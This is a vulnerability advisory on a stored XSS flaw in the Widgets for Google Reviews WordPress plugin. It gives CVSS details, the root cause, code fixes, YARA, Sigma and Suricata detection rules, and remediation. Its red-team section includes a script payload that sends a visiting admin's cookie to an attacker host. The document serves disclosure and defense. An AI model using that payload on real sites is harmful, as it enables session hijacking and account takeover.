CVE-2025-12510

Executive Summary

CVE-2025-12510 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Widgets for Google Reviews WordPress plugin, versions up to and including 13.2.4. The vulnerability arises from insufficient input sanitization and output escaping on Google Reviews data imported by the plugin. An unauthenticated attacker can inject arbitrary web scripts by adding a malicious review to a Google Place that is connected to the vulnerable site. When a user (including an admin) accesses the imported reviews, the malicious script executes within the admin panel and potentially on the frontend. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.2 (High), and no public exploit code or patch is currently available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – A user must view the malicious review.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The attack is easy to execute, requires no authentication, and can compromise admin sessions.

Deep Dive & Mechanics

The vulnerability is rooted in the Widgets for Google Reviews plugin’s handling of Google Reviews data. The plugin fetches reviews from a Google Place and displays them on the WordPress site. The flaw is in the lack of proper input sanitization and output escaping on the review content (e.g., the review text, author name, or other fields). An attacker can submit a malicious review to a Google Place that is connected to the vulnerable site. When the plugin imports this review, the malicious script is stored in the WordPress database. Subsequently, when any user (including administrators) views the imported reviews in the admin panel or on the frontend, the script executes in the context of the user’s browser.

Attack Flow:

1. Attacker identifies a WordPress site using the vulnerable plugin.
2. Attacker submits a Google Review containing malicious JavaScript (e.g., <script>alert('XSS')</script>) to a Google Place that the site is configured to display.
3. The plugin imports the review, storing the malicious script in the database.
4. An admin or user visits the page displaying the reviews (e.g., admin dashboard or frontend widget).
5. The script executes, potentially stealing cookies, redirecting the user, or performing actions on behalf of the admin.

Root Cause: The plugin uses echo or print functions without applying esc_html() or wp_kses() to the review data. This allows HTML/JavaScript to be rendered directly.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The plugin likely outputs review data directly without sanitization.

Vulnerable Code (Example):

// In a template file or shortcode handler
echo '<div class="review-text">' . $review->text . '</div>';

Patched Code (Expected):

// Properly escape the output
echo '<div class="review-text">' . esc_html( $review->text ) . '</div>';

The patched version would use esc_html() or wp_kses_post() to strip or escape HTML tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (<= 13.2.4).
• A Google Place ID that the plugin is configured to fetch reviews from.
• Ability to submit a Google Review to that Place (requires a Google account).

Steps:

1. Identify the target site and confirm the plugin is active (e.g., via source code or Shodan dork).
2. Find the Google Place ID used by the plugin (often visible in the page source or plugin settings).
3. Submit a Google Review to that Place with a payload like:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Wait for the plugin to import the review (usually automatic or on page load).
5. When an admin views the reviews, the script executes, exfiltrating the admin’s session cookie.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
• Create a test Google Place (or use a mock API) to simulate review import.
• Use a browser with developer tools to observe the XSS execution.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual Google Reviews containing HTML/JavaScript tags.
• Check WordPress database for stored XSS payloads in the wp_postmeta or custom tables used by the plugin.
• Use WAF rules to block common XSS patterns in review data.

Defense:

• Immediately disable the plugin until a patch is available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Use a Web Application Firewall (WAF) with rules to block <script> tags in review data.
• Regularly audit plugin code for insecure output handling.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• File: Modified plugin files (e.g., injected backdoors) – unlikely but possible.
• Database: Entries in the plugin’s review table containing <script> tags or obfuscated JavaScript.
• Logs: WordPress error logs showing unexpected HTML in review data.
• Browser: Admin browser history showing redirects to malicious sites.

Example IOC (Database):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_12510_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Widgets for Google Reviews plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-12510"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = /wp-content\/plugins\/widget-google-reviews/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Widgets for Google Reviews Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the Widgets for Google Reviews plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-content/plugins/widget-google-reviews/"
        http.body|contains: "<script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in reviews (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12510 - Stored XSS in Widgets for Google Reviews"; flow:to_server,established; content:"/wp-content/plugins/widget-google-reviews/"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Manually sanitize the plugin’s output by adding esc_html() to all review data fields.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in review data.
4. Enforce a Content Security Policy (CSP) that restricts script execution.

Long-term Fix:

• The vendor must release a patched version (e.g., 13.2.5) that properly escapes all imported review data.
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, use a WordPress security plugin (e.g., Wordfence) to block malicious input.
• Regularly audit the plugin’s database tables for suspicious entries.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert